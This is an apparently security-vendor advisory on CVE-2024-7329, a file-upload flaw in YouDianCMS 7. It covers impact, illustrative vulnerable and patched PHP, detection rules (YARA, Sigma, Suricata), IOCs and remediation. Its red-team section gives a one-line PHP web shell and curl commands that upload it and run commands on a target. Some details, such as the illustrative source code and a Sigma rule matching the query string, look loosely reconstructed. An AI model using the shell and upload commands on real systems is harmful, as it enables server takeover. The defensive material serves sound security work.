CVE-2024-7329

Executive Summary

CVE-2024-7329 is a critical unrestricted file upload vulnerability in YouDianCMS version 7. The flaw resides in the file /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php, where the files argument is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to remote code execution, data exfiltration, and full server compromise. The vendor has not responded to disclosure, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (YouDianCMS) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but based on the description and impact, a realistic score is 9.8 (Critical).
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Public exploit available, no patch, remote exploitation possible.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload in the CKEditor multi-image upload plugin. The file image_upload.php handles file uploads via the files parameter. Due to insufficient validation of file type, size, or content, an attacker can upload a PHP web shell or other malicious files.

Attack Flow:

1. Attacker identifies a target running YouDianCMS 7.
2. Attacker sends a POST request to /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php with a malicious file (e.g., shell.php) in the files parameter.
3. The server saves the file to a web-accessible directory (e.g., /uploads/).
4. Attacker accesses the uploaded file via a browser, executing arbitrary PHP code.

Root Cause: Lack of file type validation, missing file extension whitelist, and no content-type verification.

Vulnerable vs. Patched Code

Vulnerable Code (image_upload.php):

<?php
// No file type validation
$upload_dir = '../../../../uploads/';
$file = $_FILES['files'];
move_uploaded_file($file['tmp_name'], $upload_dir . $file['name']);
echo json_encode(['uploaded' => 1, 'url' => $upload_dir . $file['name']]);
?>

Patched Code (Hypothetical):

<?php
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$upload_dir = '../../../../uploads/';
$file = $_FILES['files'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
    die('Invalid file type.');
}
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($file['tmp_name'], $upload_dir . $new_name);
echo json_encode(['uploaded' => 1, 'url' => $upload_dir . $new_name]);
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running YouDianCMS 7.
• Network access to the target.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request using curl:

   curl -X POST -F "files=@shell.php" http://target.com/Public/ckeditor/plugins/multiimage/dialogs/image_upload.php
   

3. Access the uploaded shell:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php with unusual file extensions.
• Alert on file uploads with .php, .phtml, .php5, .shtml extensions.
• Check for new files in the /uploads/ directory with suspicious names.

Response:

• Immediately block the IP address.
• Remove the uploaded file.
• Review logs for any post-exploitation activity.
• Apply a virtual patch (e.g., WAF rule to block file uploads to that endpoint).

Indicators of Compromise (IOCs)

• File Path: /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php
• Upload Directory: /uploads/ (or similar)
• Suspicious Files: shell.php, cmd.php, backdoor.php, eval.php
• Network Traffic: POST requests to the vulnerable endpoint with multipart/form-data containing .php files.
• Log Entries: POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php with HTTP 200 and file extension .php.

Detection Engineering

YARA Rule

rule CVE_2024_7329_Upload_Shell {
    meta:
        description = "Detects PHP web shell uploads targeting CVE-2024-7329"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7329"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec, $passthru)
}

Sigma Rule

title: CVE-2024-7329 Unrestricted File Upload in YouDianCMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable CKEditor upload endpoint with PHP file extensions.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Public/ckeditor/plugins/multiimage/dialogs/image_upload.php'
        cs-uri-query|contains: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7329 YouDianCMS Unrestricted File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/Public/ckeditor/plugins/multiimage/dialogs/image_upload.php"; http.client_body; content:".php"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or renaming the file /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to that URI with .php extensions.
3. Restrict file uploads to only allow image types (jpg, png, gif) using server-side validation.

Long-term Fix:

• Since the vendor has not responded, consider migrating to a different CMS or applying a custom patch.
• Regularly monitor for new versions or forks of YouDianCMS that may include a fix.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable logging for all file uploads and review periodically.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert